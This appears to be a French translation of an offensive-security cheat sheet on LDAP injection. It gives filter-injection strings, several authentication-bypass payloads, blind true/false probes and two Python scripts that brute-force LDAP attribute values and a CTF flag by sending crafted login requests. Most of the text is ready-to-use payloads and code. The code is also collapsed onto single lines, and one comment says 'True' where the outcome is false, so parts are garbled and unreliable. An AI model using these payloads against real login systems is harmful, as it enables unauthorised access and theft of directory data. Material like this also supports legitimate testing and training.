L'injection LDAP est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir de l'entrée utilisateur. Cela se produit lorsque l'application ne parvient pas à nettoyer correctement l'entrée, permettant aux attaquants de manipuler les déclarations LDAP via un proxy local, ce qui peut entraîner un accès non autorisé ou une manipulation de données.
Par exemple :
(&(!(objectClass=Impresoras))(uid=s*))(&(objectClass=user)(uid=*))
Vous pouvez accéder à la base de données, qui peut contenir des informations de différents types.
OpenLDAP : Si 2 filtres arrivent, seul le premier est exécuté.
ADAM ou Microsoft LDS : Avec 2 filtres, une erreur est renvoyée.
SunOne Directory Server 5.0 : Exécute les deux filtres.
Il est très important d'envoyer le filtre avec une syntaxe correcte, sinon une erreur sera renvoyée. Il est préférable d'envoyer un seul filtre.
Le filtre doit commencer par : & ou |
Exemple : (&(directory=val1)(folder=public))
Ensuite : (&(objectClass=*)(ObjectClass=*)) sera le premier filtre (celui qui est exécuté).
Contournement de connexion
LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, peu importe ce que vous insérez dans le mot de passe, il est peut-être haché.
user=*password=*--> (&(user=*)(password=*))# The asterisks are great in LDAPi
user=*))%00pass=any--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) #Can through an error
username=admin)(!(&(|pass=any))--> (&(uid=admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
Vous pouvez forcer de fausses ou vraies réponses pour vérifier si des données sont renvoyées et confirmer une possible Injection LDAP Aveugle:
#This will result on True, so some information will be shownPayload:*)(objectClass=*))(&objectClass=voidFinalquery: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shownPayload:void)(objectClass=void))(&objectClass=voidFinalquery: (&(objectClass=void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Dump de données
Vous pouvez itérer sur les lettres ASCII, les chiffres et les symboles :
Les objets LDAP contiennent par défaut plusieurs attributs qui pourraient être utilisés pour sauvegarder des informations. Vous pouvez essayer de forcer tous ces attributs pour extraire ces informations. Vous pouvez trouver une liste des attributs LDAP par défaut ici.
#!/usr/bin/python3import requestsimport stringfrom time import sleepimport sysproxy ={"http":"localhost:8080"}url ="http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"attributes = ["c","cn","co","commonName","dc","facsimileTelephoneNumber","givenName","gn","homePhone","id","jpegPhoto","l","mail","mobile","name","o","objectClass","ou","owner","pager","password","sn","st","surname","uid","username","userPassword",]for attribute in attributes:#Extract all attributesvalue =""finish =Falsewhilenot finish:for char in alphabet:#In each possition test each possible printable charquery =f"*)({attribute}={value}{char}*"data ={'login':query,'password':'bla'}r = requests.post(url, data=data, proxies=proxy)sys.stdout.write(f"\r{attribute}: {value}{char}")#sleep(0.5) #Avoid brute-force bansif"Cannot login"in r.text:value +=str(char)breakif char == alphabet[-1]:#If last of all the chars, then, no more chars in the valuefinish =Trueprint()
Injection LDAP aveugle spéciale (sans "*")
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet:r = requests.get("http://ctf.web??action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text):flag += charprint("[+] Flag: "+ flag)break